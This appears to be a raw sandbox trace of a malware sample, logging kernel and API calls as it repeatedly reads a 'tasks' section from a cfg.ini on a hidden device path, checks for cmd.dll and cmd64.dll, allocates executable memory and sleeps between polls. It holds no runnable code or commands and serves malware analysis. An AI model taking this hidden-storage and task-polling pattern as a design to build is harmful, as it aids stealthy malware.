[0123.773] KeLeaveCriticalRegion () [0123.773] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.773] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.773] KeEnterCriticalRegion () [0123.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.773] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.773] KeLeaveCriticalRegion () [0123.773] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.773] KeEnterCriticalRegion () [0123.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.773] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.773] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.773] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.773] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.773] IdePortDispatch () returned 0x103 [0123.773] KeWaitForMutexObject () returned 0x0 [0123.773] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.773] KeLeaveCriticalRegion () [0123.773] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.773] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.774] KeEnterCriticalRegion () [0123.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.774] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e9000 [0123.774] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.774] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.774] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.774] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.774] IdePortDispatch () returned 0x103 [0123.774] KeWaitForMutexObject () returned 0x0 [0123.774] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.774] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.774] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.774] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.774] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.774] IdePortDispatch () returned 0x103 [0123.774] KeWaitForMutexObject () returned 0x0 [0123.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.774] KeLeaveCriticalRegion () [0123.774] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.775] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.775] KeEnterCriticalRegion () [0123.775] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.775] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.775] KeLeaveCriticalRegion () [0123.775] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.775] KeEnterCriticalRegion () [0123.775] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.775] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.775] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.775] KeLeaveCriticalRegion () [0123.775] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.775] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.775] KeEnterCriticalRegion () [0123.775] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.775] ExFreePoolWithTag (P=0xfffffa8003bed4a0, Tag=0x0) [0123.776] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.776] KeLeaveCriticalRegion () [0123.776] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.776] ReleaseMutex (hMutex=0xf0) returned 1 [0123.776] Sleep (dwMilliseconds=0x927c0) [0123.790] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.790] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.790] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.790] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.790] KeEnterCriticalRegion () [0123.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.790] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.790] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.790] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.790] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.790] IdePortDispatch () returned 0x103 [0123.791] KeWaitForMutexObject () returned 0x0 [0123.791] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.791] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.791] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.791] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.791] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.791] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bedeb0 [0123.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.791] KeLeaveCriticalRegion () [0123.791] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.791] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.791] KeEnterCriticalRegion () [0123.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.791] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.791] KeLeaveCriticalRegion () [0123.791] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.791] KeEnterCriticalRegion () [0123.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.791] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.791] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.791] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.791] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.791] IdePortDispatch () returned 0x103 [0123.791] KeWaitForMutexObject () returned 0x0 [0123.792] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.793] KeLeaveCriticalRegion () [0123.793] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.793] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.793] KeEnterCriticalRegion () [0123.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.793] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b15000 [0123.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.793] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.793] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.793] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.793] IdePortDispatch () returned 0x103 [0123.793] KeWaitForMutexObject () returned 0x0 [0123.793] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.793] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.793] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.793] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.793] IdePortDispatch () returned 0x103 [0123.793] KeWaitForMutexObject () returned 0x0 [0123.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.794] KeLeaveCriticalRegion () [0123.794] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.794] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.794] KeEnterCriticalRegion () [0123.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.794] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.794] KeLeaveCriticalRegion () [0123.794] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.794] KeEnterCriticalRegion () [0123.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.795] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.795] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bed9c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.795] KeLeaveCriticalRegion () [0123.795] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.795] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.795] KeEnterCriticalRegion () [0123.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.795] ExFreePoolWithTag (P=0xfffffa8003bedeb0, Tag=0x0) [0123.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.795] KeLeaveCriticalRegion () [0123.795] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.795] ReleaseMutex (hMutex=0xf0) returned 1 [0123.795] Sleep (dwMilliseconds=0x927c0) [0123.808] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.808] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.822] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.822] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.822] KeEnterCriticalRegion () [0123.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.824] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.824] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.824] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.824] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.824] IdePortDispatch () returned 0x103 [0123.824] KeWaitForMutexObject () returned 0x0 [0123.824] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.824] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.824] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.824] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.824] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.824] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bed5a0 [0123.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.824] KeLeaveCriticalRegion () [0123.824] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.824] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.824] KeEnterCriticalRegion () [0123.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.824] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0123.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.824] KeLeaveCriticalRegion () [0123.825] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.825] KeEnterCriticalRegion () [0123.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.825] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.825] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.825] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.825] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.825] IdePortDispatch () returned 0x103 [0123.825] KeWaitForMutexObject () returned 0x0 [0123.825] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.825] KeLeaveCriticalRegion () [0123.825] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.825] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.825] KeEnterCriticalRegion () [0123.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.825] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d42000 [0123.825] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.825] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0123.825] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.825] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.825] IdePortDispatch () returned 0x103 [0123.825] KeWaitForMutexObject () returned 0x0 [0123.825] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.825] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.825] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0123.825] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.825] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.826] IdePortDispatch () returned 0x103 [0123.826] KeWaitForMutexObject () returned 0x0 [0123.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.826] KeLeaveCriticalRegion () [0123.826] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.826] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.826] KeEnterCriticalRegion () [0123.826] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.826] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0123.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.826] KeLeaveCriticalRegion () [0123.826] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.826] KeEnterCriticalRegion () [0123.826] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.826] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0123.827] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.827] KeLeaveCriticalRegion () [0123.827] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.827] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.827] KeEnterCriticalRegion () [0123.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.827] ExFreePoolWithTag (P=0xfffffa8003bed5a0, Tag=0x0) [0123.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.827] KeLeaveCriticalRegion () [0123.827] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.827] ReleaseMutex (hMutex=0xf0) returned 1 [0123.827] Sleep (dwMilliseconds=0x927c0) [0123.840] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.840] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.840] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.840] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.841] KeEnterCriticalRegion () [0123.841] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.841] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.841] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.841] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.841] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.841] IdePortDispatch () returned 0x103 [0123.841] KeWaitForMutexObject () returned 0x0 [0123.841] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.841] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.841] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.841] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.841] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.841] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bed9a0 [0123.841] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.841] KeLeaveCriticalRegion () [0123.841] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.841] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.841] KeEnterCriticalRegion () [0123.841] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.841] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0123.841] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.841] KeLeaveCriticalRegion () [0123.841] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.841] KeEnterCriticalRegion () [0123.841] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.841] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0123.841] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0123.841] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.841] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.841] IdePortDispatch () returned 0x103 [0123.841] KeWaitForMutexObject () returned 0x0 [0123.842] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.842] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.842] KeLeaveCriticalRegion () [0123.842] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0123.842] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.842] KeEnterCriticalRegion () [0123.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.842] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, 